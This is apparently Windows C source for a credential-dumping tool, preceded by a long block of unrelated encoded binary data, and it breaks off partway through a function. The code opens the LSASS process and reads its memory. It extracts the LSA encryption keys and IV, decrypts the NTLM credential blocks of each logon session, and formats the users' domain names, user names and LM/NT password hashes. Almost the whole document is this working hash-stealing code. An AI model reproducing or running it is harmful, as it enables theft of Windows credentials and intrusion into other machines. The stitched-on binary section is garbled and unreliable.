z*4s4`qS*xJC^iA^6Eb7j1P8ab5PteOp!L;|+tm?%LcbDbgEW)=BdAz1>%*A-{ohw; zogY>VvL~8;-djQO_`{OjzV|AE<4>Lz!NzF*P!Z7+RuXCnNhkj3zb2HYYoE(lZ4P4( z$aG1cXT+VRWKN1;NuMJw=lc~}>qixX+$f#b|4xMHJKPQ`a6Z%UbRt-EMua_z^EUV! z=_VrG#EkfE`*MT@ZtpB$?4E@}&*3;N8|RE=S8aj3cu2gab%kBe{uU(`b@ z>H>I{>Z0m5A5F{{;C>zaj-xynVwu4j&kV(SX2=}H433HY<9m~O#&##zH3?dlV1+7< zWC_T3LWbU+JTr=2;QST4!1@HcAoG{(0?lrwm-W&fPPn0bG9x+N)HE--8FwQ=IVFC{ zleJ8bx~q2tN}TvE3+TsFy+)l&Mx9Fr{>i{Ud1+#g8dqB>+I`SSjZ3su)Rv*m%80SY zQ$5cJNmu=!wjs`Pl#xtZ;3vwJ{DdIQm*L(6wL|*(0Qy*L+#XWHj0ppeMzS#(I=dRC zx)P75K&fGNLjN9=8iq=O$}f3F6q{t-$0lX&Ws@||Gg0!Qt?dQ9G*qU@PxAD*yvfed zXbPl>Y46%j9o+g20D!^1_X}dGRDZZMUS|2 zXj{<6d{?wBoDb0+C!;-1Mtde{+pWPHJh7U1j<05NESv0%XOpdZHW^_jJN#{y;A1Dk zfhUr|6Um@?azXfyOCGUf6?GS)KTz3!cw%GlVaH<FbVdPU_U7%xp!O-;X(Zt z+H2H1>bFFGY*KOcVbzA7QLLV8zA~p95IuNa)qNsf4p|7C20`ptg zbc}988~vJqD7VWeI|Z%BAfB;BL9>8~o?g&0hj0((PX~B_3KAcu54nLB z{&tMFgQ#mx)HU=wvaa>2>A$#-u|GgPsPY4DHIG__xM*Cl5B1&|G`9F|f+e1(jqx1n z3)KxZo@@3q_Bd46pnRjgpdRu1vJ~Sh)JF1;EU+&RFm}yB#$J>D_rOd~l7+s`v%-=u zK>Xhg>P_XCg122%mo|c@czc1oW(4pkI|}&$s0(B~@$nHX9`!XoV=xbU;b&$K`ij5d z&wY%s$DmYyL}UGD=p*NASbLs^m7xE(C#xkOaQ|DsyAg)IE(s4w*el_u5=P5-QzV=x z;dR5(qvItMqa9~}Y|fPs%&V=h;a1WHa+52a)oWI|suT${7?q3z!f8BaF1xzYAFiyfrUoKw2vGrPQ3%&K7*p*a8>rd} zK@>v$pZIl543x(LoN?Rw9%BcB>^_BE7wq)o1O7JC8OPp{k$7UN@b~q3P(g>U&w~m& z{QrI)G>$=5e2L5ESjP{98L4()tzv#vwG9q*zJnGkj4X5nTRQt?WY^^_Ey`cKh@Yg0 z!+AYA+J!@bPDkB3ob95XK-h7~=V9l7NP0{S!;kK;3#HkAJd9l?ZGsMVF@v-d>n;4S z7uGpMOd}pRV!8qK6S~;tw7Zb2Rj!I6-fDtQ z+7P5oYc_c#Va?ccbjD!Bv#c2Xhss5vSs6UR9|p`K3AQnmuvW$6UJhM~^P+x$=syk{L3(u&$3z}#B9xLD1)RW*aw_M zUBi1Cq>@*=rpi%QTLZ!M>q;F}B>8P*3-gvP$}5l~FuSZ-}*4#R)&4Lv;_A$fhOfuA=zeNsjq!bZA zq<90FcwsdXU4r;zIl0LEy%%;)g0T>!$T_aU=CBB9e|8aJeO;Bq=_-}TqZG)lpssGU z%RV2X_(XGldWEqha>*^V(_z`%Iv@#FKTMLcL0BINE4Ddms%pWwYC*D>gD9$68p5x~ zvAx{NQb%!Jp{v?iHE*5M#%6{VVt+-ANz~1FN1S$lrdtx>m#CKRH z4=bv+L4NiEvK5t6)JDX52T@R%_@OAqR+FzHr&U&1T;}gTd~3_aIm0TjP!SedK?`H8 zwa8voD*}E=Iit3%c%9wGZWXbVf}D0j?Rs_`)Ty>PhsME@16Wb$ML4U6dRD<}VGvUb zI@Dj!eoyI)%fKcX~>tIAf(JnkP}3SjI;jx!hHFRlU> z^*lGwVWpPSgvNA~JJ2mVw7^!nW>{v}r{G+qID}AGCm}jhd@4(`%<$_$O&i&5bK~IBq z8QH=TI@hzCQIA~pm1GbHx$1|G?Dnp9E+M;%Qb^hp^A4%BFegA6plF?s)(qP-v0e%D zO;B}EG}8)Us4+OZ{-<&1%vxFRoCL~Nt)cgqsS0x+QZJZ)W`{?h4X4`fF zH~hHw4C!*#H*(kk|9c*J=MjT&9`?K8tgyAv*jXyz}V*d<}Rgl!T=g^4{6mDJ7BzEQ#k z3GEVAN?0P{atX~6W=WVTpkcjt_Zzx|Xb4|Z0-MxTHdnO}Xj26Wm;9cP@jfBr{d=L>4mwVY_RlGy;l{!3rfSv%GmxAKd{voJ zoemE2Res5h{FD0n`WdW8S!8la*{ERf(-cQ@K10m)cepA zTnP0#^aLxR_CX&k?_HY{kQL7}GWN@P7(YVJnc$zHRzOcM27}N7==Fe!*t2;8`e1o) zlKZ|L>V4P~+z9nL^ue;+B@F{Oz5#Mz#f4r zfPOdN?u968(gQ9j5OU+ifGZ0zR;93j^@|zX3jG~`zk?##a*|p8D-_Y32GLhT?S`Km zKr2)i^aSsQ>W01<@E{Zq3+RJ70DHCs`=L-|PcRz;anjEL+za)2JkkO@gn@Yv{PzPc zT?W2{-VXRYR4?@1fTJ;JSD;S-oVgt1VuVcxtbw9h7ZlM!DPyeECeot)!(T&DUY-TK z406?BqczL~SOrD?s{yA}fVW|v0@wjXyh`vDC<;r^SBWx$9~=x~*Fced4&WZC?*(kT z6$*Z~0{&q&_93BvA26|6q?H8tEvTL`C=0+xp`L)Ben5SV@Ix?N>ItraqO=+S=h+#1 z7XD3u??Al|ebQ}=eGEl>(hoS_A>uIumP>sl;9u%N6Zjth{H+t^0vvh)7r8_`U;*5^ zhA{)|31+MnbjSo;-+(fJeH-AuZ!(qxJ;9mlaaJDsbifiQ$_v5Yk{R~BfMs_Hy%n%e z>OTUU)+q9o3V4mwF9*C|>K_0+3e|vkdH|y~2z+7ze=YUT0xonT@9j5 z_%;dfFjOY|^a6(61NuO(2TX-BL!SX`^{~WO4yJ$0^C+LHs`jYfL#?C@@!=BxXa)2T{31)0XU4lLnupNrp1cE#66ZTI4 z-ufd!lWM?c?uQ=!p9NgCh8gyB#;&lWt?NPyd zxbL6gE`M%MFdK^M+8n?iOZ#@fV^W{f0bYe7Kb3$#g`)bt8}JLM*LR|hLv4jU!H=OR zzuFzBr#nF_*c0r9B0eN|(Jskjfa{=k!OtClQ-3OWG6nGHQ=lR2PXNYr3IDNxpF_P5 zdxHC)7PLA5=p{YuKLU(;M&=8!_F2@UvFQ5%_d*d(_5mJw4&@H}9>70AQ63YXXY96a zw7IZ%0zL&r_FaITFj1rJ{f^=qw^aSZV4(SQf z85+_Pd`ar*9L)z(PcZ5=;fKy$&>0BwPmso!tAj!y+o*>D&lb#^S zu#=wPX{jeUc9KCSdx9iCPI`h%q@I2K{qLkeFUks-=^sgY#PCSgBRP-2&@a{pOCGCy zjAka8u*%wD-m!c~<&K6O%{#X4=-AP<5T{} NT6.2 + +// Varible used since NT 6.2 (Windows 8 and Server 2012) +struct _MSCRYPT_KEY_HANDLE_NT62 hMscrypt3DesKeyNT62; + + +DWORD_PTR GetDllBaseAddr(DWORD dwPid, LPBYTE DllName){ + // Get Base Address of a DLL in a specific process defined by its PID + MODULEENTRY32 m; + HANDLE hModuleSnap = INVALID_HANDLE_VALUE; + LPBYTE buffer = NULL; + + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(BYTE)); + + // take snapshot of modules of a process + hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid); + if (hModuleSnap == INVALID_HANDLE_VALUE){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] CreateToolhelp32Snapshot(): %d\n"), GetLastError()); + OutputDebugString(buffer); + return 0; + } + + m.dwSize = sizeof(MODULEENTRY32); + + if (!Module32First(hModuleSnap, &m)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Module32First(): %d\n"), GetLastError()); + OutputDebugString(buffer); + if (buffer) free(buffer); buffer = NULL; + CloseHandle(hModuleSnap); + return 0; + } + + do { + if ((_tcsicmp(m.szModule, DllName) == 0)){ + // case insensitive because it can be "lsasrv.dll", "LSASRV.dll" + CloseHandle(hModuleSnap); + if (buffer) free(buffer); buffer = NULL; + return m.modBaseAddr; + } + } while (Module32Next(hModuleSnap, &m)); + + if (buffer) free(buffer); buffer = NULL; + CloseHandle(hModuleSnap); + return 0; +} + +BOOL GetPidByName(LPCTSTR lpszProcessName, LPDWORD lpPid){ + // Look for PID of a process name + HANDLE hProcessSnap; + PROCESSENTRY32 pe32; + LPBYTE buffer = NULL; + + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(BYTE)); + + // Take snapshot of running processes + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] CreateToolhelp32Snapshot(): %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + + // Set the size of the structure before using it + pe32.dwSize = sizeof(PROCESSENTRY32); + + // Get info from the first process of the snapshot + if (!Process32First(hProcessSnap, &pe32)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Module32First(): %d\n"), GetLastError()); + OutputDebugString(buffer); + CloseHandle(hProcessSnap); + if (buffer) free(buffer); buffer = NULL; + return FALSE; + } + + do{ + if (_tcscmp(pe32.szExeFile, lpszProcessName) == 0){ + // compare process name with the process looking for + *lpPid = pe32.th32ProcessID; + if (buffer) free(buffer); buffer = NULL; + CloseHandle(hProcessSnap); + return TRUE; + } + } while(Process32Next(hProcessSnap, &pe32)); + + if (buffer) free(buffer); buffer = NULL; + CloseHandle(hProcessSnap); + return FALSE; +} + +BOOL OpenLsass(){ + // Create a Handle for LSASS process + LPBYTE buffer = NULL; + DWORD dwPid; + BOOL res; + + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(BYTE)); + res = GetPidByName(_T("lsass.exe"), &dwPid); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("LSASS.EXE PID : %d \n"), dwPid); + OutputDebugString(buffer); + if (res){ + //PROCESS_QUERY_INFORMATION used to call GetProcessId() on Xp and 2003 systems + hLsass = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid); + + if (hLsass != NULL){ + dllBaseAddr = GetDllBaseAddr(dwPid, _T("lsasrv.dll")); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("DLL Base addr %p\n"), dllBaseAddr); + OutputDebugString(buffer); + return TRUE; + } else { + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call OpenProcess(): %d\n\t You maybe missed to get SYSTEM rights\n"), GetLastError()); + OutputDebugString(buffer); + } + } + if (buffer) free(buffer); buffer = NULL; + return FALSE; +} + +BOOL CloseLsass(){ + // Close LSASS Handle + if (hLsass) { + if (CloseHandle(hLsass) != 0){ + return TRUE; + } + } + return FALSE; +} + +BOOL GetDataInMemory(VOID){ + // Get decrypt and session informations from memory + LPBYTE buffer = NULL; + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(BYTE)); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Lsasv.dll?LogonSessionListCount : %p\n"), (dllBaseAddr + symbAddr.LogonSessionListCountAddr)); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Lsasv.dll?LogonSessionList : %p\n"), (dllBaseAddr + symbAddr.LogonSessionListAddr)); + OutputDebugString(buffer); + + + // Get number of logonsession in list + if (!ReadProcessMemory(hLsass, (LPCVOID) (dllBaseAddr + symbAddr.LogonSessionListCountAddr), &LogonSessionListCount, sizeof(LogonSessionListCount), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read LogonSessionListCount: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Session List Count : %d\n"), LogonSessionListCount); + OutputDebugString(buffer); + + // Get OS version + ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); + osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); + if (!GetVersionEx(&osvi)){ + return FALSE; + } + + // At least NT 5.1 (XP/2003) + if (osvi.dwMajorVersion <= 5 && osvi.dwMinorVersion < 1){ + return FALSE; + } + + // OS < Vista SP1 + if ((osvi.dwMajorVersion < 6) || (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 && (_tcscmp(osvi.szCSDVersion, _T("")) == 0))){ + GetDataInXPMemory(); + } else{ // OS > Vista SP1 + GetDataInPostVistaMemory(); + } + if (buffer) free(buffer); buffer = NULL; + return TRUE; +} + + +BOOL GetDataInXPMemory(VOID){ + // Get decrypt information from memory for system older than Vista SP1 + LPBYTE buffer = NULL, tmp = NULL; + int i = 0; + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(BYTE)); + tmp = calloc(SMALL_BUFFER_SIZE, sizeof(BYTE)); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Lsasrv.dll?g_Feedback : %p\n"), (dllBaseAddr + symbAddr.FeedbackAddr)); + OutputDebugString(buffer); + + // read g_Feedback from LSASS memory + if (!ReadProcessMemory(hLsass, (LPCVOID) (dllBaseAddr + symbAddr.FeedbackAddr), &g_Feedback, sizeof(g_Feedback), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read g_Feedback: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("g_Feedback: ")); + for (i = 0 ; iCredsEntry; + } else{ + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("LogonSessionList value: %ph\n"), LogonSessionList); + OutputDebugString(buffer); + + // Since Vista, offset to CredsEntry in SESSION_ENTRY structure has changed + if (!ReadProcessMemory(hLsass, (LPCVOID) LogonSessionList, lpSessionEntry, (cbSessionEntry*sizeof(BYTE)), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read SessionEntry: %d\n"), GetLastError()); + OutputDebugString(buffer); + return idx_session; + } + + #if defined _WIN64 + if (osvi.dwMajorVersion <= 6 && osvi.dwMinorVersion < 2){ + lpHashes = (LONG_PTR) *(&lpSessionEntry->CredsEntry+13); + } else { + lpHashes = (LONG_PTR) *(&lpSessionEntry->CredsEntry+17); + } + #else + if (osvi.dwMajorVersion <= 6 && osvi.dwMinorVersion < 2){ + lpHashes = (LONG_PTR) *(&lpSessionEntry->CredsEntry+16); + } else { + lpHashes = (LONG_PTR) *(&lpSessionEntry->CredsEntry+18); + } + #endif + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("lpSessionEntry->CredsEntry[+off]: %ph\n"), lpHashes); + OutputDebugString(buffer); + + // + // CREDS_ENTRY + // + + if (lpHashes){ + // get CREDS_ENTRY structure from memory + if (!ReadProcessMemory(hLsass, (LPCVOID) lpHashes, (LPVOID) lpCredsEntry, sizeof(CREDS_ENTRY), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read CREDS_ENTRY: %d\n"), GetLastError()); + OutputDebugString(buffer); + return idx_session; + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("lpCredsEntry->CredsHashEntry: %ph\n"), lpCredsEntry->CredsHashEntry); + OutputDebugString(buffer); + + // + // CREDS_HASH_ENTRY + // + + if (lpCredsEntry->CredsHashEntry){ + if (!ReadProcessMemory(hLsass, (LPCVOID) lpCredsEntry->CredsHashEntry, (LPVOID) lpCredsHashEntry, sizeof(CREDS_HASH_ENTRY), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read CREDS_HASH_ENTRY: %d\n"), GetLastError()); + OutputDebugString(buffer); + return idx_session; + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("CredsHashEntry->HashBuffer: %ph\n"), lpCredsHashEntry->HashBuffer); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("CredsHashEntry->HashLength: %x\n"), lpCredsHashEntry->HashLength); + OutputDebugString(buffer); + + // + // NTLM_CREDS_BLOCK + // + + lpNtlmCredsBlock = (LPBYTE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lpCredsHashEntry->HashLength * sizeof(BYTE)); + if (lpCredsHashEntry->HashBuffer){ + if(!ReadProcessMemory(hLsass, (LPCVOID) lpCredsHashEntry->HashBuffer, (LPVOID) lpNtlmCredsBlock, lpCredsHashEntry->HashLength, NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read CredsHashEntry->HashBuffer: %d\n"), GetLastError()); + OutputDebugString(buffer); + return idx_session; + } + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("lpNtlmCredsBlock: %ph\n"), (lpNtlmCredsBlock)); + OutputDebugString(buffer); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("NTLM CREDS BLOCK : \n")); + for (i = 0 ; iHashLength ; i++){ + _sntprintf_s(tmp, SMALL_BUFFER_SIZE, _TRUNCATE, _T("%.2xh "), lpNtlmCredsBlock[i]); + _tcscat_s(buffer, LARGE_BUFFER_SIZE, tmp); + } + OutputDebugString(buffer); + OutputDebugString(_T("\n")); + + idx_session++; + DecryptHashes(lpNtlmCredsBlock, lpCredsHashEntry->HashLength, aCredsInfos, idx_session); + } + } + } + + LogonSessionList = (LONG_PTR) lpSessionEntry->NextEntry; + OutputDebugString(_T("------\n")); + } while(LogonSessionList != ((LONG_PTR) ( (dllBaseAddr + symbAddr.LogonSessionListAddr)+(s*2*sizeof(DWORD_PTR))))); + } + + if (tmp) HeapFree(hHeap, 0, tmp); tmp = NULL; + if (buffer) HeapFree(hHeap, 0, buffer); buffer = NULL; + if (lpCredsEntry) HeapFree(hHeap, 0, lpCredsEntry); lpCredsEntry = NULL; + if (lpCredsHashEntry) HeapFree(hHeap, 0, lpCredsHashEntry); lpCredsHashEntry = NULL; + if (lpSessionEntry) HeapFree(hHeap, 0, lpSessionEntry); lpSessionEntry = NULL; + if (lpNtlmCredsBlock) HeapFree(hHeap, 0, lpNtlmCredsBlock); lpNtlmCredsBlock = NULL; + if (hHeap) HeapDestroy(hHeap); + return idx_session; +} + + +BOOL LsaInitAndDecrypt(LPTSTR lpBuffer, size_t cbBuffer){ + HMODULE hBaseAddr = INVALID_HANDLE_VALUE; + LPBYTE buffer = NULL; + + LsaEncryptMemoryFunction LsaEncryptMemory = (LsaEncryptMemoryFunction) (dllBaseAddr + symbAddr.LsaEncryptMemoryAddr); + + buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(BYTE)); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Lsasrv.dll?LsaEncryptMemory: %ph\n"), LsaEncryptMemory); + OutputDebugString(buffer); + + // mandatory, because we need lsasrv.dll to be loaded to use LsaEncryptMemory() + hBaseAddr = LoadLibrary(_T("lsasrv.dll")); + if (!hBaseAddr){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to load Lsasrv.dll: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + + if ((osvi.dwMajorVersion < 6) || (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 && (_tcscmp(osvi.szCSDVersion, _T("")) == 0))){ + // Copy the initialization vector in memory + memcpy((LPVOID) (dllBaseAddr + symbAddr.FeedbackAddr), g_Feedback, sizeof(g_Feedback)); + + // Replace the address of the "key" to our own, extracted from LSASS + *((LPBYTE *) (dllBaseAddr + symbAddr.PDesxKeyAddr)) = (LPBYTE) &g_DESXKey; + + LsaEncryptMemory(lpBuffer, cbBuffer, 0); + } + + if (hBaseAddr) FreeLibrary(hBaseAddr); + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; + return TRUE; +} + +BOOL BcryptInitAndDecrypt(LPTSTR lpInput, size_t cbInput, LPTSTR lpOutput){ + HMODULE hBcryptDll = INVALID_HANDLE_VALUE; + BCRYPT_HANDLE h3desProvider = NULL; + BCRYPT_KEY_HANDLE h3desKey = NULL; + ULONG objLen = 0, blockLen = 0, nbRead = 0, plainTextSize = 0; + LPBYTE lpKeyObj = NULL, lpIV = NULL, buffer = NULL, tmp = NULL; + NTSTATUS res = 0; + + // Structure where the 3DES Key will be copy in order to be able to import + typedef struct _KEYBLOB { + BCRYPT_KEY_DATA_BLOB_HEADER header; + UCHAR key[24]; // Key buffer + } KEYBLOB; + + KEYBLOB keyblob; + keyblob.header.dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC; + keyblob.header.dwVersion = BCRYPT_KEY_DATA_BLOB_VERSION1; + keyblob.header.cbKeyData = 24; + + buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(BYTE)); + tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SMALL_BUFFER_SIZE * sizeof(BYTE)); + + hBcryptDll = LoadLibrary(_T("bcrypt.dll")); + if (!hBcryptDll){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to load Bcrypt.dll: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + + // Open a 3DES Algorithm Provider + res = BCryptOpenAlgorithmProvider(&h3desProvider, BCRYPT_3DES_ALGORITHM, 0, 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BCryptOpenAlgorithmProvider():\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // Get Length of 3DES Key + res = BCryptGetProperty(h3desProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &objLen, sizeof(ULONG), &nbRead, 0); + if(res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BCryptGetProperty(BCRYPT_OBJECT_LENGTH):\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // Get Length of 3DES IV + res = BCryptGetProperty(h3desProvider, BCRYPT_BLOCK_LENGTH, (PBYTE) &blockLen, sizeof(ULONG), &nbRead, 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BCryptGetProperty(BCRYPT_BLOCK_LENGTH):\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // Allocate buffers for Key and IV + lpKeyObj = (LPBYTE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objLen); + lpIV = (LPBYTE) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, blockLen); + + // Set CBC mode + res = BCryptSetProperty(h3desProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BCryptSetProperty(BCRYPT_CHAINING_MODE):\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // copy from different structure depending on Windows version + if (osvi.dwMajorVersion <= 6 && osvi.dwMinorVersion < 2){ + memcpy(keyblob.key, hMscrypt3DesKey.pbSecret, sizeof(keyblob.key)); + } else { + memcpy(keyblob.key, hMscrypt3DesKeyNT62.pbSecret, sizeof(keyblob.key)); + } + + // Import LSASS Key from memory in BCRYPT initialized environnement + res = BCryptImportKey(h3desProvider, NULL, BCRYPT_KEY_DATA_BLOB, &h3desKey, lpKeyObj, objLen, (PUCHAR) &keyblob, sizeof(keyblob), 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BCryptImportKey():\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // copy extracted IV from LSASS memory in Bcrypt structures + memcpy(lpIV, initializationVector, 8 * sizeof(BYTE)); + + // calcul size of the cipher text + res = BCryptDecrypt(h3desKey, lpInput, cbInput, 0, lpIV, 8, 0, 0, &plainTextSize, 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BcryptDecrypt() to calcul plainTextSize:\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + // Decryption of the buffer + res = BCryptDecrypt(h3desKey, lpInput, cbInput, 0, lpIV, 8, lpOutput, plainTextSize, &plainTextSize, 0); + if (res){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to call BcryptDecrypt() to decrypt buffer:\n\t Return Value: %.8x\n"), res); + OutputDebugString(buffer); + return FALSE; + } + + BCryptCloseAlgorithmProvider(h3desProvider, 0); + BCryptDestroyKey(h3desKey); + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; + if (tmp) HeapFree(GetProcessHeap(), 0, tmp); tmp = NULL; + if (lpIV) HeapFree(GetProcessHeap(), 0, lpIV); lpIV = NULL; + if (lpKeyObj) HeapFree(GetProcessHeap(), 0, lpKeyObj); lpKeyObj = NULL; + if (hBcryptDll) FreeLibrary(hBcryptDll); + return TRUE; +} + + +BOOL DecryptHashes(LPBYTE lpNtlmCredsBlock, DWORD dwLength, PCREDS_INFOS aCredsInfos, int idx_session){ + ULONG i = 0; + LPBYTE buffer = NULL; + LPBYTE tmp = NULL; + UINT random = 0; + LPBYTE lpPlainText = NULL; + + buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(BYTE)); + tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SMALL_BUFFER_SIZE * sizeof(BYTE)); + + // OS < Vista SP1 + if ((osvi.dwMajorVersion < 6) || (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 && (_tcscmp(osvi.szCSDVersion, _T("")) == 0))){ + LsaInitAndDecrypt(lpNtlmCredsBlock, dwLength); + FormatDecryptedHashes(lpNtlmCredsBlock, aCredsInfos, idx_session); + } else{ // OS >= Vista SP1 + lpPlainText = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(BYTE)); + BcryptInitAndDecrypt(lpNtlmCredsBlock, dwLength, lpPlainText); + FormatDecryptedHashes(lpPlainText, aCredsInfos, idx_session); + if (lpPlainText) HeapFree(GetProcessHeap(), 0, lpPlainText); lpPlainText = NULL; + } + + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; + if (tmp) HeapFree(GetProcessHeap(), 0, tmp); tmp = NULL; + return TRUE; +} + +BOOL FormatDecryptedHashes(LPCBYTE lpDecryptedBlock, PCREDS_INFOS aCredsInfos, int idx_session){ + int i = 0; + LPTSTR buffer = NULL, domain = NULL, username=NULL, lpszHashLM = NULL, lpszHashNT = NULL; + TCHAR lpszHash[3]; + HANDLE hLogonReader = INVALID_HANDLE_VALUE; + + // Structure of decrypted NTLM_CREDS_BLOCS structure : + // ------------------------------------------------------------------------------------------------------------------- + // | Domain Length | Domain Offset | User Length | User Offset | NTLM Hash | LM Hash | ... | Domain Name | User Name | + // ------------------------------------------------------------------------------------------------------------------- + // 4 bytes 4 bytes 4 bytes 4 bytes 16 bytes 16 bytes ... + + // In x64, 4 NTLM_CREDS_BLOCS first fields are 8 bytes long instead of 4 + + buffer = (LPTSTR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(TCHAR)); + domain = (LPTSTR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(TCHAR)); + username = (LPTSTR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(TCHAR)); + lpszHashLM = (LPTSTR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (HASH_LENGTH*2 + 1) * sizeof(TCHAR)); + lpszHashNT = (LPTSTR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (HASH_LENGTH*2 + 1) * sizeof(TCHAR)); + lpszHash[2] = _T('\x00'); + + // Offsets of hashs in NTLM_CREDS_BLOCS are different according processor + #if defined _WIN64 + _sntprintf_s(domain, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%ws"), &lpDecryptedBlock[lpDecryptedBlock[8]]); // Domain Name + _sntprintf_s(username, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%ws"), &lpDecryptedBlock[lpDecryptedBlock[24]]); // User Name + + for (i = 48; i < 48+HASH_LENGTH; i++) { + _stprintf_s(lpszHash, LARGE_BUFFER_SIZE, _T("%.2x"), lpDecryptedBlock[i]); + _tcscat_s(lpszHashLM, 